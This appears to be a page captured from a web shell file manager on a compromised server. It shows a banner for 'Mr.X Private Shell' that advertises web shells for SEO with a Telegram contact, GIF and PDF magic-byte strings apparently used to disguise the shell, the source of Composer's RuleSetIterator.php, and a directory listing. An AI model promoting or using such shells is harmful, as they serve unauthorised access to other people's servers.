GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\DependencyResolver;
/**
* @author Nils Adermann <naderman@naderman.de>
* @implements \Iterator<RuleSet::TYPE_*, Rule>
*/
class RuleSetIterator implements \Iterator
{
/** @var array<RuleSet::TYPE_*, Rule[]> */
protected $rules;
/** @var array<RuleSet::TYPE_*> */
protected $types;
/** @var int */
protected $currentOffset;
/** @var RuleSet::TYPE_*|-1 */
protected $currentType;
/** @var int */
protected $currentTypeOffset;
/**
* @param array<RuleSet::TYPE_*, Rule[]> $rules
*/
public function __construct(array $rules)
{
$this->rules = $rules;
$this->types = array_keys($rules);
sort($this->types);
$this->rewind();
}
/**
* @return Rule
*/
#[\ReturnTypeWillChange]
public function current()
{
return $this->rules[$this->currentType][$this->currentOffset];
}
/**
* @return RuleSet::TYPE_*|-1
*/
#[\ReturnTypeWillChange]
public function key()
{
return $this->currentType;
}
/**
* @return void
*/
#[\ReturnTypeWillChange]
public function next()
{
$this->currentOffset++;
if (!isset($this->rules[$this->currentType])) {
return;
}
if ($this->currentOffset >= \count($this->rules[$this->currentType])) {
$this->currentOffset = 0;
do {
$this->currentTypeOffset++;
if (!isset($this->types[$this->currentTypeOffset])) {
$this->currentType = -1;
break;
}
$this->currentType = $this->types[$this->currentTypeOffset];
} while (isset($this->types[$this->currentTypeOffset]) && !\count($this->rules[$this->currentType]));
}
}
/**
* @return void
*/
#[\ReturnTypeWillChange]
public function rewind()
{
$this->currentOffset = 0;
$this->currentTypeOffset = -1;
$this->currentType = -1;
do {
$this->currentTypeOffset++;
if (!isset($this->types[$this->currentTypeOffset])) {
$this->currentType = -1;
break;
}
$this->currentType = $this->types[$this->currentTypeOffset];
} while (isset($this->types[$this->currentTypeOffset]) && !\count($this->rules[$this->currentType]));
}
/**
* @return bool
*/
#[\ReturnTypeWillChange]
public function valid()
{
return isset($this->rules[$this->currentType], $this->rules[$this->currentType][$this->currentOffset]);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Operation | Folder | 0755 |
|
|
| Decisions.php | File | 7.22 KB | 0644 |
|
| DefaultPolicy.php | File | 7.49 KB | 0644 |
|
| GenericRule.php | File | 1.91 KB | 0644 |
|
| LocalRepoTransaction.php | File | 789 B | 0644 |
|
| LockTransaction.php | File | 5.59 KB | 0644 |
|
| MultiConflictRule.php | File | 2.55 KB | 0644 |
|
| PolicyInterface.php | File | 905 B | 0644 |
|
| Pool.php | File | 8.45 KB | 0644 |
|
| PoolBuilder.php | File | 30.15 KB | 0644 |
|
| PoolOptimizer.php | File | 17.42 KB | 0644 |
|
| Problem.php | File | 27.07 KB | 0644 |
|
| Request.php | File | 8.04 KB | 0644 |
|
| Rule.php | File | 19.91 KB | 0644 |
|
| Rule2Literals.php | File | 2.62 KB | 0644 |
|
| RuleSet.php | File | 5.02 KB | 0644 |
|
| RuleSetGenerator.php | File | 13.14 KB | 0644 |
|
| RuleSetIterator.php | File | 2.86 KB | 0644 |
|
| RuleWatchChain.php | File | 1.43 KB | 0644 |
|
| RuleWatchGraph.php | File | 6.33 KB | 0644 |
|
| RuleWatchNode.php | File | 2.86 KB | 0644 |
|
| Solver.php | File | 26.17 KB | 0644 |
|
| SolverBugException.php | File | 812 B | 0644 |
|
| SolverProblemsException.php | File | 5.49 KB | 0644 |
|
| Transaction.php | File | 13.64 KB | 0644 |
|